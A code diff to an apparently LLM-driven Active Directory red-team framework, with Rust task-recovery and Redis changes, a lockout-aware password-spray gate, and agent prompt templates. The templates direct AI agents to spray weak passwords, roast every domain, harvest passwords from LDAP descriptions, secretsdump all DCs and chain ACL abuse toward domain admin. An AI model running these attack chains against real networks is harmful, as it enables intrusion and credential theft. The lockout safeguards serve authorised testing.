diff --git a/ares-cli/src/orchestrator/automation/gpo.rs b/ares-cli/src/orchestrator/automation/gpo.rs index c26dab23..2997eafd 100644 --- a/ares-cli/src/orchestrator/automation/gpo.rs +++ b/ares-cli/src/orchestrator/automation/gpo.rs @@ -1,7 +1,7 @@ //! auto_gpo_abuse -- exploit GPO write access for code execution. //! //! When a controlled user has write access to a Group Policy Object -//! (e.g., samwell.tarly has write on a GPO linked to contoso.local), +//! (e.g., a user has write on a GPO linked to contoso.local), //! this automation dispatches `pyGPOAbuse` to inject a scheduled task that //! runs as SYSTEM on all hosts where the GPO applies. //! diff --git a/ares-cli/src/orchestrator/automation/rbcd.rs b/ares-cli/src/orchestrator/automation/rbcd.rs index 28d3ce6e..b28228c6 100644 --- a/ares-cli/src/orchestrator/automation/rbcd.rs +++ b/ares-cli/src/orchestrator/automation/rbcd.rs @@ -1,7 +1,7 @@ //! auto_rbcd_exploitation -- exploit GenericAll/GenericWrite on computer objects via RBCD. //! //! When a controlled user has GenericAll or GenericWrite on a computer object -//! (e.g., stannis → kingslanding$), this automation dispatches the full RBCD +//! (e.g., user → DC$), this automation dispatches the full RBCD //! chain: addcomputer → rbcd_write → S4U → secretsdump. //! //! This is separate from s4u.rs which handles pre-existing delegation vulns. diff --git a/ares-cli/src/orchestrator/automation/unconstrained.rs b/ares-cli/src/orchestrator/automation/unconstrained.rs index f22c63b7..152f5ba5 100644 --- a/ares-cli/src/orchestrator/automation/unconstrained.rs +++ b/ares-cli/src/orchestrator/automation/unconstrained.rs @@ -111,8 +111,8 @@ pub async fn auto_unconstrained_exploitation( } // Machine accounts: resolve hostname → IP for coerce+dump chain. - // User accounts (sansa.stark): dispatch LLM exploit task since we - // can't determine which host to coerce from just the account name. + // User accounts: dispatch LLM exploit task since we can't determine + // which host to coerce from just the account name. let is_machine = account_name.ends_with('$'); // Find a DC in the same domain — this is what we coerce FROM. diff --git a/ares-cli/src/orchestrator/mod.rs b/ares-cli/src/orchestrator/mod.rs index 21f56200..003bd7af 100644 --- a/ares-cli/src/orchestrator/mod.rs +++ b/ares-cli/src/orchestrator/mod.rs @@ -496,9 +496,39 @@ async fn run_inner() -> Result<()> { info!( requeued = recovered.requeued_task_ids.len(), failed = recovered.failed_task_ids.len(), - "Recovery: re-enqueued interrupted tasks" + "Recovery: re-dispatching interrupted tasks via LLM submission" ); } + for task in recovered.tasks_to_redispatch { + match dispatcher + .do_submit(&task.task_type, &task.target_role, task.payload, 1) + .await + { + Ok(Some(tid)) => { + info!( + task_id = %tid, + task_type = %task.task_type, + role = %task.target_role, + retry = task.retry_count, + "Recovery: re-dispatched task via LLM runner" + ); + } + Ok(None) => { + warn!( + task_type = %task.task_type, + role = %task.target_role, + "Recovery: task deferred or dropped during re-dispatch" + ); + } + Err(e) => { + warn!( + task_type = %task.task_type, + err = %e, + "Recovery: failed to re-dispatch task" + ); + } + } + } } Err(e) => { // Recovery failure is non-fatal — we already loaded state above diff --git a/ares-cli/src/orchestrator/recovery/manager.rs b/ares-cli/src/orchestrator/recovery/manager.rs index d0b4aae5..81101a34 100644 --- a/ares-cli/src/orchestrator/recovery/manager.rs +++ b/ares-cli/src/orchestrator/recovery/manager.rs @@ -13,7 +13,6 @@ use crate::orchestrator::task_queue::TaskQueue; use super::dedup::dedupe_hashes; use super::normalize::{normalize_credential_domains, normalize_hash_domains}; -use super::requeue::requeue_task; use super::types::{ is_connection_error, RecoveredState, INTERRUPTED_STATUSES, MAX_CONNECTION_RETRIES, MAX_RETRIES, }; @@ -174,6 +173,7 @@ impl OperationRecoveryManager { let mut requeued_task_ids = Vec::new(); let mut failed_task_ids = Vec::new(); + let mut tasks_to_redispatch = Vec::new(); for (task_id, task) in &mut pending_tasks { if !INTERRUPTED_STATUSES.contains(&task.status) { @@ -198,24 +198,26 @@ impl OperationRecoveryManager { task.error = Some("Requeued after pod restart (task was pending)".to_string()); } - match requeue_task(queue, task_id, task).await { - Ok(()) => { - requeued_task_ids.push(task_id.clone()); - info!( - task_id = %task_id, - retry_count = task.retry_count, - max_retries = max_retries, - "Task requeued for recovery" - ); - } - Err(e) => { - warn!( - task_id = %task_id, - err = %e, - "Failed to requeue task" - ); - } - } + let payload = task + .params + .iter() + .map(|(k, v)| (k.clone(), v.clone())) + .collect::>(); + + tasks_to_redispatch.push(super::types::RecoveryTask { + task_type: task.task_type.clone(), + target_role: task.assigned_agent.clone(), + payload: serde_json::Value::Object(payload), + retry_count: task.retry_count, + }); + + requeued_task_ids.push(task_id.clone()); + info!( + task_id = %task_id, + retry_count = task.retry_count, + max_retries = max_retries, + "Task collected for re-dispatch via LLM submission" + ); } else { // Exceeded max retries task.status = TaskStatus::Failed; @@ -249,6 +251,7 @@ impl OperationRecoveryManager { Ok(RecoveredState { state: loaded_state, + tasks_to_redispatch, requeued_task_ids, failed_task_ids, }) diff --git a/ares-cli/src/orchestrator/recovery/mod.rs b/ares-cli/src/orchestrator/recovery/mod.rs index 2c295bef..c207adc3 100644 --- a/ares-cli/src/orchestrator/recovery/mod.rs +++ b/ares-cli/src/orchestrator/recovery/mod.rs @@ -17,7 +17,6 @@ mod dedup; mod manager; mod normalize; -mod requeue; mod types; pub use manager::OperationRecoveryManager; diff --git a/ares-cli/src/orchestrator/recovery/requeue.rs b/ares-cli/src/orchestrator/recovery/requeue.rs deleted file mode 100644 index f26baf56..00000000 --- a/ares-cli/src/orchestrator/recovery/requeue.rs +++ /dev/null @@ -1,59 +0,0 @@ -//! Task requeuing (preserves original task_id). - -use anyhow::{Context, Result}; -use redis::AsyncCommands; -use tracing::info; - -use ares_core::models::TaskInfo; - -use crate::orchestrator::task_queue::{ - TaskMessage, TaskQueue, RESULT_QUEUE_PREFIX, TASK_QUEUE_PREFIX, -}; - -/// Requeue a task to its target role queue, preserving the original task_id. -/// -/// Uses RPUSH so retried tasks are consumed before new ones (workers BRPOP -/// from the right). -pub async fn requeue_task(queue: &TaskQueue, task_id: &str, task: &TaskInfo) -> Result<()> { - let mut payload = task - .params - .iter() - .map(|(k, v)| (k.clone(), v.clone())) - .collect::>(); - - // Add retry metadata - payload.insert( - "_retry_count".to_string(), - serde_json::Value::from(task.retry_count), - ); - payload.insert("_is_retry".to_string(), serde_json::Value::Bool(true)); - - let callback_queue = format!("{RESULT_QUEUE_PREFIX}:{task_id}"); - let msg = TaskMessage { - task_id: task_id.to_string(), - task_type: task.task_type.clone(), - source_agent: "orchestrator".to_string(), - target_agent: task.assigned_agent.clone(), - payload: serde_json::Value::Object(payload), - priority: 1, // High priority for retries - created_at: Some(chrono::Utc::now()), - callback_queue: Some(callback_queue), - }; - - let queue_key = format!("{TASK_QUEUE_PREFIX}:{}", task.assigned_agent); - let json = serde_json::to_string(&msg).context("Failed to serialize requeue TaskMessage")?; - - let mut conn = queue.connection(); - conn.rpush::<_, _, ()>(&queue_key, &json) - .await - .with_context(|| format!("RPUSH to {} for requeue", queue_key))?; - - info!( - task_id = %task_id, - queue = %queue_key, - retry_count = task.retry_count, - "Requeued task (RPUSH)" - ); - - Ok(()) -} diff --git a/ares-cli/src/orchestrator/recovery/types.rs b/ares-cli/src/orchestrator/recovery/types.rs index 61384bf3..0bc43ffd 100644 --- a/ares-cli/src/orchestrator/recovery/types.rs +++ b/ares-cli/src/orchestrator/recovery/types.rs @@ -32,13 +32,25 @@ pub fn is_connection_error(err: &anyhow::Error) -> bool { CONNECTION_ERROR_KEYWORDS.iter().any(|kw| msg.contains(kw)) } +/// A task that needs to be re-dispatched through the normal LLM submission +/// flow after recovery. +#[derive(Debug, Clone)] +pub struct RecoveryTask { + pub task_type: String, + pub target_role: String, + pub payload: serde_json::Value, + pub retry_count: i32, +} + /// Result of a recovery operation. #[derive(Debug)] pub struct RecoveredState { /// The full shared state loaded from Redis. #[allow(dead_code)] pub state: SharedRedTeamState, - /// Task IDs that were re-enqueued for retry. + /// Tasks that need re-dispatch through the normal submission flow. + pub tasks_to_redispatch: Vec, + /// Task IDs that were prepared for re-dispatch. pub requeued_task_ids: Vec, /// Task IDs that exceeded max retries and were marked failed. pub failed_task_ids: Vec, @@ -102,4 +114,23 @@ mod tests { assert_eq!(MAX_CONNECTION_RETRIES, 3); assert_eq!(INTERRUPTED_STATUSES.len(), 3); } + + #[test] + fn recovery_task_carries_payload_for_redispatch() { + let task = RecoveryTask { + task_type: "credential_access".to_string(), + target_role: "credential_access".to_string(), + payload: serde_json::json!({"target": "192.168.58.1"}), + retry_count: 2, + }; + assert_eq!(task.task_type, "credential_access"); + assert_eq!(task.target_role, "credential_access"); + assert_eq!(task.payload["target"], "192.168.58.1"); + assert_eq!(task.retry_count, 2); + + let cloned = task.clone(); + assert_eq!(cloned.task_type, task.task_type); + let dbg = format!("{task:?}"); + assert!(dbg.contains("credential_access")); + } } diff --git a/ares-cli/src/orchestrator/state/publishing/hosts.rs b/ares-cli/src/orchestrator/state/publishing/hosts.rs index 64900b69..a3923601 100644 --- a/ares-cli/src/orchestrator/state/publishing/hosts.rs +++ b/ares-cli/src/orchestrator/state/publishing/hosts.rs @@ -252,13 +252,15 @@ impl SharedState { queue: &TaskQueueCore, host: &Host, ) -> Result<()> { - // Extract domain from hostname — prefer a real FQDN + // Require at least 3 dot-separated parts (e.g. dc03.contoso.local) + // so 2-part hostnames like "HOSTNAME.local" don't yield "local" as the domain. let raw_domain = if !host.hostname.is_empty() { - host.hostname - .split('.') - .skip(1) - .collect::>() - .join(".") + let parts: Vec<&str> = host.hostname.split('.').collect(); + if parts.len() >= 3 { + parts[1..].join(".") + } else { + String::new() + } } else { String::new() }; @@ -557,6 +559,72 @@ mod tests { assert!(s.domain_controllers.is_empty()); } + #[tokio::test] + async fn register_dc_two_part_hostname_uses_fallback() { + // Hostname with only 2 parts (e.g. "DC01.local") must NOT register + // "local" as the domain. With a fallback domain already in state, + // register_dc should use the fallback instead. + let state = SharedState::new("op-1".to_string()); + let q = mock_queue(); + { + let mut s = state.inner.write().await; + s.domains.push("contoso.local".to_string()); + } + + let host = make_host("192.168.58.1", "DC01.local", true); + state.register_dc(&q, &host).await.unwrap(); + + let s = state.inner.read().await; + // Must NOT have registered just "local" as a domain + assert!( + !s.domain_controllers.contains_key("local"), + "two-part hostname leaked 'local' as a domain" + ); + assert_eq!( + s.domain_controllers.get("contoso.local"), + Some(&"192.168.58.1".to_string()), + "expected fallback to existing domain" + ); + } + + #[tokio::test] + async fn register_dc_two_part_hostname_no_fallback_skips() { + // 2-part hostname AND no fallback domain → skip entirely instead of + // registering a TLD as the AD domain. + let state = SharedState::new("op-1".to_string()); + let q = mock_queue(); + + let host = make_host("192.168.58.1", "DC01.local", true); + state.register_dc(&q, &host).await.unwrap(); + + let s = state.inner.read().await; + assert!( + s.domain_controllers.is_empty(), + "2-part hostname with no fallback must skip DC registration" + ); + assert!( + !s.domains.iter().any(|d| d == "local"), + "2-part hostname leaked 'local' into domains" + ); + } + + #[tokio::test] + async fn register_dc_three_part_hostname_extracts_full_domain() { + // Sanity check the >=3 parts branch with a deeper FQDN to make sure + // the parts[1..].join(".") slice is right (not just the last label). + let state = SharedState::new("op-1".to_string()); + let q = mock_queue(); + + let host = make_host("192.168.58.1", "dc.eu.contoso.local", true); + state.register_dc(&q, &host).await.unwrap(); + + let s = state.inner.read().await; + assert_eq!( + s.domain_controllers.get("eu.contoso.local"), + Some(&"192.168.58.1".to_string()) + ); + } + #[tokio::test] async fn publish_host_strips_trailing_dot() { let state = SharedState::new("op-1".to_string()); diff --git a/ares-cli/src/orchestrator/task_queue.rs b/ares-cli/src/orchestrator/task_queue.rs index cd252079..45aba1a1 100644 --- a/ares-cli/src/orchestrator/task_queue.rs +++ b/ares-cli/src/orchestrator/task_queue.rs @@ -88,6 +88,10 @@ pub struct HeartbeatData { #[derive(Clone)] pub struct TaskQueueCore { conn: C, + /// Redis URL retained so we can open dedicated connections for blocking + /// commands (BRPOP) that would otherwise serialize on the shared + /// multiplexed connection. + redis_url: Option, } /// Production task queue backed by a Redis `ConnectionManager`. @@ -111,7 +115,27 @@ impl TaskQueue { .await .with_context(|| format!("Failed to connect to Redis at {redis_url}"))?; info!(url = %redis_url, "Connected to Redis"); - Ok(Self { conn }) + Ok(Self { + conn, + redis_url: Some(redis_url.to_string()), + }) + } + + /// Create a dedicated (non-shared) multiplexed connection for blocking + /// commands like BRPOP. Each call opens a fresh TCP connection so + /// concurrent BRPOP calls from different agent loops do not serialize. + pub async fn dedicated_connection(&self) -> Result { + let url = self + .redis_url + .as_deref() + .ok_or_else(|| anyhow::anyhow!("No redis_url stored (test backend?)"))?; + let client = + redis::Client::open(url).with_context(|| format!("Invalid Redis URL: {url}"))?; + let conn = client + .get_multiplexed_async_connection() + .await + .with_context(|| "Failed to open dedicated Redis connection for BRPOP")?; + Ok(conn) } } @@ -121,7 +145,10 @@ impl TaskQueue { impl TaskQueueCore { /// Create a queue from any ConnectionLike backend (used in tests). pub fn from_connection(conn: C) -> Self { - Self { conn } + Self { + conn, + redis_url: None, + } } // === Key helpers ======================================================== diff --git a/ares-cli/src/orchestrator/tool_dispatcher/redis_dispatcher.rs b/ares-cli/src/orchestrator/tool_dispatcher/redis_dispatcher.rs index 5ef564bf..ed20330c 100644 --- a/ares-cli/src/orchestrator/tool_dispatcher/redis_dispatcher.rs +++ b/ares-cli/src/orchestrator/tool_dispatcher/redis_dispatcher.rs @@ -88,20 +88,36 @@ impl ares_llm::ToolDispatcher for RedisToolDispatcher { "Dispatching tool call to worker" ); - // Push request to worker queue + // Push request to worker queue (shared multiplexed connection is fine for LPUSH) let mut conn = self.queue.connection(); conn.lpush::<_, _, ()>(&queue_key, &payload) .await .context("Failed to push tool exec request to Redis")?; - // Wait for result with timeout + // BRPOP needs a dedicated connection: it blocks its TCP connection + // until a result arrives, so a shared multiplexed connection would + // serialize all concurrent agent loops behind one waiter. let timeout_secs = self.tool_timeout.as_secs().max(1) as f64; - let brpop_result: Option<(String, String)> = redis::cmd("BRPOP") - .arg(&result_key) - .arg(timeout_secs) - .query_async(&mut conn) - .await - .context("BRPOP failed for tool result")?; + let brpop_result: Option<(String, String)> = match self.queue.dedicated_connection().await { + Ok(mut dedicated) => { + redis::cmd("BRPOP") + .arg(&result_key) + .arg(timeout_secs) + .query_async(&mut dedicated) + .await + .context("BRPOP failed for tool result")? + } + Err(e) => { + // Fall back to shared connection if dedicated fails + warn!(err = %e, "Failed to open dedicated BRPOP connection, falling back to shared"); + redis::cmd("BRPOP") + .arg(&result_key) + .arg(timeout_secs) + .query_async(&mut conn) + .await + .context("BRPOP failed for tool result")? + } + }; match brpop_result { Some((_key, value)) => { diff --git a/ares-llm/src/prompt/credential_access/no_cred.rs b/ares-llm/src/prompt/credential_access/no_cred.rs index 2f581146..dab589fa 100644 --- a/ares-llm/src/prompt/credential_access/no_cred.rs +++ b/ares-llm/src/prompt/credential_access/no_cred.rs @@ -44,11 +44,11 @@ pub(super) fn try_generate( "password_spray", format!( "password_spray - YOU MUST CALL ONCE PER PASSWORD:\n\ - \x20 password_spray(target='{dc_ip}', domain='{domain}', password='Password1')\n\ - \x20 password_spray(target='{dc_ip}', domain='{domain}', password='Welcome1')\n\ - \x20 password_spray(target='{dc_ip}', domain='{domain}', password='Summer2024')\n\ - \x20 password_spray(target='{dc_ip}', domain='{domain}', password='Company123')\n\ - \x20 password_spray(target='{dc_ip}', domain='{domain}', password='Passw0rd!')" + \x20 Standard: password_spray(target='{dc_ip}', domain='{domain}', password='Password1')\n\ + \x20 Standard: password_spray(target='{dc_ip}', domain='{domain}', password='Welcome1')\n\ + \x20 Standard: password_spray(target='{dc_ip}', domain='{domain}', password='Passw0rd!')\n\ + \x20 Season: password_spray(target='{dc_ip}', domain='{domain}', password='Winter2025')\n\ + \x20 Season: password_spray(target='{dc_ip}', domain='{domain}', password='Spring2026')" ), ), ( diff --git a/ares-llm/src/tool_registry/credential_access/netexec_tools.rs b/ares-llm/src/tool_registry/credential_access/netexec_tools.rs index 8357841a..977f1de4 100644 --- a/ares-llm/src/tool_registry/credential_access/netexec_tools.rs +++ b/ares-llm/src/tool_registry/credential_access/netexec_tools.rs @@ -39,7 +39,7 @@ pub fn definitions() -> Vec { }, ToolDefinition { name: "password_spray".into(), - description: "Spray a single password across all domain users. Tests one password against many accounts. Use password_policy first to check lockout thresholds. Uses a built-in username wordlist if no users_file is provided.".into(), + description: "Spray a single password across all domain users. Tests one password against many accounts. REQUIRES lockout policy: call password_policy FIRST and pass `lockout_threshold` (and `attempts_used_per_account` if any sprays already ran this observation window). The tool will refuse to run otherwise — set `acknowledge_no_policy=true` only when policy retrieval is impossible, knowing accounts may lock out. Uses a built-in username wordlist if no users_file is provided.".into(), input_schema: json!({ "type": "object", "properties": { @@ -61,7 +61,19 @@ pub fn definitions() -> Vec { }, "delay_seconds": { "type": "integer", - "description": "Optional delay between attempts to avoid lockout" + "description": "Optional jitter (seconds) between attempts. Defaults to 1s if omitted." + }, + "lockout_threshold": { + "type": "integer", + "description": "AD account lockout threshold from password_policy (e.g. 5). 0 means no lockout. The tool refuses to spray unless this or acknowledge_no_policy is set." + }, + "attempts_used_per_account": { + "type": "integer", + "description": "Failed-attempts already accumulated per account in the current observation window across prior sprays/auth in this op. Defaults to 0. The tool keeps a 1-attempt safety buffer below the threshold." + }, + "acknowledge_no_policy": { + "type": "boolean", + "description": "Override that allows spraying without lockout_threshold. Use only when password_policy cannot be retrieved; lockouts are likely." } }, "required": ["target", "password", "domain"] diff --git a/ares-llm/templates/redteam/agents/credential_access.md.tera b/ares-llm/templates/redteam/agents/credential_access.md.tera index bc445217..0804142c 100644 --- a/ares-llm/templates/redteam/agents/credential_access.md.tera +++ b/ares-llm/templates/redteam/agents/credential_access.md.tera @@ -32,7 +32,10 @@ another agent should handle. ## Responsibilities 1. **No-Creds Paths** - - Run impacket-GetNPUsers/AS-REP roasting to find roastable users + - Run `ldap_search_descriptions` -- passwords are frequently stored in user + description fields (this is a common misconfiguration and often yields instant creds) + - Run impacket-GetNPUsers/AS-REP roasting against ALL discovered domains (not just + the primary one) to find roastable users - Validate results and extract hashes for cracking 2. **Creds-Available Paths** diff --git a/ares-llm/templates/redteam/agents/orchestrator.md.tera b/ares-llm/templates/redteam/agents/orchestrator.md.tera index 7091a492..37824ce3 100644 --- a/ares-llm/templates/redteam/agents/orchestrator.md.tera +++ b/ares-llm/templates/redteam/agents/orchestrator.md.tera @@ -93,9 +93,12 @@ Your role is to **delegate tasks to specialized worker agents** and coordinate t ``` ANY credential found -> DISPATCH IMMEDIATELY: 1. dispatch_credential_access for secretsdump on ALL DCs - 2. dispatch_credential_access for kerberoast - 3. dispatch_credential_access for asrep_roast - 4. dispatch_crack for any discovered hashes + 2. dispatch_credential_access for kerberoast on ALL domains + 3. dispatch_credential_access for asrep_roast on EVERY discovered domain + (not just the primary -- each domain may have AS-REP roastable users) + 4. dispatch_credential_access for ldap_search_descriptions on ALL DCs + (passwords are often in user description fields -- high-value, fast check) + 5. dispatch_crack for any discovered hashes If secretsdump results contain krbtgt: -> Domain admin achieved! @@ -104,6 +107,11 @@ ANY credential found -> DISPATCH IMMEDIATELY: -> Test DA access -> Domain admin achieved! ``` +**CRITICAL: Multi-domain coverage.** When multiple domains exist (e.g. parent/child +domains, trust relationships), dispatch asrep_roast, kerberoast, and +ldap_search_descriptions against EACH domain's DC separately. Do not assume +that running against one domain covers all. + ### PRIORITY 1: Krbtgt Hash ``` krbtgt hash found -> dispatch_crack(hash_value="...", hash_type="ntlm", priority=1) @@ -156,17 +164,28 @@ SMB signing check shows unsigned hosts: 2. **CRITICAL: Credential Expansion Loop** - EVERY TIME you find ANY credential: a. dispatch_credential_access for secretsdump on ALL DCs - b. dispatch_credential_access for kerberoast - c. dispatch_credential_access for asrep_roast - d. dispatch_privesc_exploit for ADCS enumeration - fast path to DA! - e. dispatch_crack for any new hashes - f. Repeat with newly cracked credentials - -3. **Check Before Dispatching** + b. dispatch_credential_access for kerberoast on ALL domains + c. dispatch_credential_access for asrep_roast on ALL domains + d. dispatch_credential_access for ldap_search_descriptions on ALL DCs + e. dispatch_privesc_exploit for ADCS enumeration - fast path to DA! + f. dispatch_recon for BloodHound collection (if not yet done) - reveals ACL chains! + g. dispatch_crack for any new hashes + h. Repeat with newly cracked credentials + +3. **CRITICAL: ACL Abuse Chains** + - When BloodHound reveals ACL relationships (GenericAll, GenericWrite, + ForceChangePassword, WriteDacl, WriteOwner), dispatch ACL exploitation + IMMEDIATELY. These are often the fastest path to DA: + - User with GenericAll on another user -> password reset or shadow creds -> new cred -> secretsdump + - User with GenericWrite -> targeted kerberoasting (set SPN, extract TGS, crack) + - Chains of 2-3 ACL hops can reach DA when direct paths fail + - Do NOT wait until other attacks are exhausted. ACL abuse is a PARALLEL path. + +4. **Check Before Dispatching** - Call get_pending_tasks() before dispatching duplicates - Don't dispatch crack requests for already-queued hashes -4. **Monitor Progress** +5. **Monitor Progress** - Regularly check get_operation_summary() - Don't complete operation with pending vulnerabilities diff --git a/ares-llm/templates/redteam/agents/recon.md.tera b/ares-llm/templates/redteam/agents/recon.md.tera index b2f5ff1e..15e0fa0e 100644 --- a/ares-llm/templates/redteam/agents/recon.md.tera +++ b/ares-llm/templates/redteam/agents/recon.md.tera @@ -28,6 +28,9 @@ Your role is to execute network scanning, enumeration, and discovery tasks dispa - Enumerate domain users via LDAP, RPC, SMB - Identify service accounts, admin accounts, group memberships - Find accounts with interesting properties (SPN, no pre-auth, etc.) + - **CRITICAL: Check user description fields** -- passwords are often stored + in the LDAP description attribute. Use `ldap_search_descriptions` or + `netexec smb --users` to dump descriptions for all users on ALL domains 3. **Share Enumeration** - Enumerate SMB shares on discovered hosts diff --git a/ares-llm/templates/redteam/agents/system_instructions.md.tera b/ares-llm/templates/redteam/agents/system_instructions.md.tera index e5bff372..7d339e6d 100644 --- a/ares-llm/templates/redteam/agents/system_instructions.md.tera +++ b/ares-llm/templates/redteam/agents/system_instructions.md.tera @@ -186,8 +186,10 @@ IF you discover share access (READ/WRITE): - Write users to /tmp/users.txt first, then run tool 3. **password_spray** - Test common passwords against all users - - Try: 'Password1', 'Welcome1', 'Company123', season+year (e.g., 'Winter2024') - - Check lockout policy first (usually 5 attempts) + - Standard: 'Password1', 'Welcome1', 'Passw0rd!', season+year (e.g., 'Winter2025') + - REQUIRED: call password_policy first, then pass `lockout_threshold` and + increment `attempts_used_per_account` by 1 between sprays. The tool refuses + without policy unless `acknowledge_no_policy=true`. 4. **password_policy** - Capture complexity, min length, lockout thresholds diff --git a/ares-llm/templates/redteam/tasks/credaccess_low_hanging_no_creds.md.tera b/ares-llm/templates/redteam/tasks/credaccess_low_hanging_no_creds.md.tera index 17ee5b52..5535e0fb 100644 --- a/ares-llm/templates/redteam/tasks/credaccess_low_hanging_no_creds.md.tera +++ b/ares-llm/templates/redteam/tasks/credaccess_low_hanging_no_creds.md.tera @@ -8,15 +8,30 @@ Task ID: {{ task_id }} Tests if users have username=password (e.g., testuser:testuser) Zero lockout risk, one attempt per user -2. password_spray - YOU MUST CALL THIS ONCE FOR EACH PASSWORD: - password_spray(target=DC_IP, domain=DOMAIN, password='Password1') - password_spray(target=DC_IP, domain=DOMAIN, password='Welcome1') - password_spray(target=DC_IP, domain=DOMAIN, password='Summer2024') - password_spray(target=DC_IP, domain=DOMAIN, password='Company123') - password_spray(target=DC_IP, domain=DOMAIN, password='Passw0rd!') - **Call spray for EACH password above - common weak passwords** - -3. password_policy(target=DC_IP, domain=DOMAIN) - Check lockout before spraying +2. password_policy(target=DC_IP, domain=DOMAIN) - REQUIRED BEFORE SPRAY + Read the lockout threshold (e.g. "Account Lockout Threshold: 5"). You must + pass it as `lockout_threshold` to every password_spray call below. If the + policy says 0 / "Never", lockout is disabled — pass 0. + +3. password_spray - one call per password. The tool keeps a 1-attempt safety + buffer below `lockout_threshold` and refuses to run when the budget is gone. + **Increment `attempts_used_per_account` by 1 after each spray** so successive + sprays stop before locking accounts: + + password_spray(target=DC_IP, domain=DOMAIN, password='Password1', + lockout_threshold=THRESHOLD, attempts_used_per_account=0) + password_spray(target=DC_IP, domain=DOMAIN, password='Welcome1', + lockout_threshold=THRESHOLD, attempts_used_per_account=1) + password_spray(target=DC_IP, domain=DOMAIN, password='Passw0rd!', + lockout_threshold=THRESHOLD, attempts_used_per_account=2) + password_spray(target=DC_IP, domain=DOMAIN, password='Winter2025', + lockout_threshold=THRESHOLD, attempts_used_per_account=3) + password_spray(target=DC_IP, domain=DOMAIN, password='Spring2026', + lockout_threshold=THRESHOLD, attempts_used_per_account=4) + + If a spray returns a "lockout budget exhausted" refusal, STOP — do not retry + until the AD observation window resets. Only set `acknowledge_no_policy=true` + if password_policy itself failed and the engagement allows lockouts. These are the FIRST techniques to run when you have no credentials. Report any credentials found immediately. diff --git a/ares-tools/src/credential_access/misc.rs b/ares-tools/src/credential_access/misc.rs index 4d9f186f..23b6d1e4 100644 --- a/ares-tools/src/credential_access/misc.rs +++ b/ares-tools/src/credential_access/misc.rs @@ -5,11 +5,21 @@ use anyhow::Result; use serde_json::Value; -use crate::args::{optional_i64, optional_str, required_str}; +use crate::args::{optional_bool, optional_i64, optional_str, required_str}; use crate::credentials; use crate::executor::CommandBuilder; use crate::ToolOutput; +/// Minimum jitter (seconds) between spray attempts when caller does not +/// supply `delay_seconds`. Keeps at least a small gap between authentication +/// attempts so logon spikes do not all land in the same observation window. +const SPRAY_DEFAULT_JITTER_SECS: i64 = 1; + +/// Safety buffer subtracted from `lockout_threshold` when computing the +/// allowed attempts-per-account budget. Keeps spraying one attempt below the +/// lockout line in case any account already has stale failed attempts. +const SPRAY_LOCKOUT_BUFFER: i64 = 1; + /// Dump LSASS credentials remotely via `lsassy`. pub async fn lsassy(args: &Value) -> Result { let domain = optional_str(args, "domain"); @@ -356,12 +366,26 @@ pub async fn password_policy(args: &Value) -> Result { } /// Spray a single password across a user list via `netexec smb`. +/// +/// Refuses to run unless the caller has supplied a `lockout_threshold` (from +/// `password_policy`) or explicitly set `acknowledge_no_policy=true`. This +/// prevents an over-eager agent from chaining multiple sprays and locking +/// every targeted account before discovering the policy. pub async fn password_spray(args: &Value) -> Result { let target = required_str(args, "target")?; let users_file = optional_str(args, "users_file"); let password = required_str(args, "password")?; let domain = required_str(args, "domain")?; let delay_seconds = optional_i64(args, "delay_seconds"); + let lockout_threshold = optional_i64(args, "lockout_threshold"); + let attempts_used = optional_i64(args, "attempts_used_per_account").unwrap_or(0); + let acknowledge_no_policy = optional_bool(args, "acknowledge_no_policy").unwrap_or(false); + + if let Some(refusal) = + check_spray_budget(lockout_threshold, attempts_used, acknowledge_no_policy) + { + return Ok(refusal); + } // Use provided file or generate a default wordlist let tmp_file; @@ -375,13 +399,17 @@ pub async fn password_spray(args: &Value) -> Result { let cred_args = credentials::netexec_creds(None, Some(password), None, Some(domain)); + let jitter = delay_seconds + .unwrap_or(SPRAY_DEFAULT_JITTER_SECS) + .to_string(); + let result = CommandBuilder::new("netexec") .arg("smb") .arg(target) .flag("-u", &wordlist_path) .args(cred_args) .arg("--continue-on-success") - .flag_opt("--jitter", delay_seconds.map(|d| d.to_string())) + .flag("--jitter", &jitter) .timeout_secs(300) .execute() .await; @@ -394,6 +422,51 @@ pub async fn password_spray(args: &Value) -> Result { result } +/// Enforce the lockout-aware preconditions for `password_spray`. Returns +/// `Some(refusal_output)` when the call must be blocked, `None` when the +/// caller is clear to spray. +fn check_spray_budget( + lockout_threshold: Option, + attempts_used: i64, + acknowledge_no_policy: bool, +) -> Option { + match lockout_threshold { + Some(t) => { + // A threshold of 0 in AD means "no lockout" — spray freely. + if t <= 0 { + return None; + } + let budget = t - attempts_used - SPRAY_LOCKOUT_BUFFER; + if budget < 1 { + return Some(spray_refusal(format!( + "Refusing password_spray: lockout budget exhausted (threshold={t}, \ + attempts_used_per_account={attempts_used}, safety_buffer={SPRAY_LOCKOUT_BUFFER}, \ + remaining={budget}). Wait for the AD observation window to reset, \ + reset attempts_used_per_account to 0, then resume." + ))); + } + None + } + None if acknowledge_no_policy => None, + None => Some(spray_refusal( + "Refusing password_spray: no lockout policy provided. Run password_policy \ + first and pass lockout_threshold (and attempts_used_per_account if accounts \ + already have failed logons this window). To override when policy retrieval \ + is impossible, set acknowledge_no_policy=true — but expect lockouts." + .to_string(), + )), + } +} + +fn spray_refusal(message: String) -> ToolOutput { + ToolOutput { + stdout: message, + stderr: String::new(), + exit_code: None, + success: false, + } +} + /// Common AD usernames for fallback when no users_file is provided. const DEFAULT_SPRAY_USERNAMES: &str = "\ Administrator\nadmin\nguest\n\ @@ -987,9 +1060,94 @@ mod tests { mock::push(mock::success()); let args = json!({ "target": "192.168.58.1", "password": "P@ss", - "domain": "contoso.local", "users_file": "/tmp/users.txt" + "domain": "contoso.local", "users_file": "/tmp/users.txt", + "lockout_threshold": 5 + }); + let out = super::password_spray(&args).await.unwrap(); + assert!(out.success, "expected executor to run with valid budget"); + } + + #[tokio::test] + async fn password_spray_refuses_without_policy() { + // No mock pushed — if the gate fails to short-circuit, executor errors + // (and the test would fail with a different assertion). + let args = json!({ + "target": "192.168.58.1", "password": "P@ss", + "domain": "contoso.local" + }); + let out = super::password_spray(&args).await.unwrap(); + assert!(!out.success, "spray must refuse without policy"); + assert!( + out.stdout.contains("no lockout policy"), + "expected refusal message, got: {}", + out.stdout + ); + } + + #[tokio::test] + async fn password_spray_refuses_when_budget_exhausted() { + let args = json!({ + "target": "192.168.58.1", "password": "P@ss", + "domain": "contoso.local", + "lockout_threshold": 5, + "attempts_used_per_account": 4 + }); + let out = super::password_spray(&args).await.unwrap(); + assert!(!out.success, "spray must refuse when budget gone"); + assert!( + out.stdout.contains("budget exhausted"), + "expected budget message, got: {}", + out.stdout + ); + } 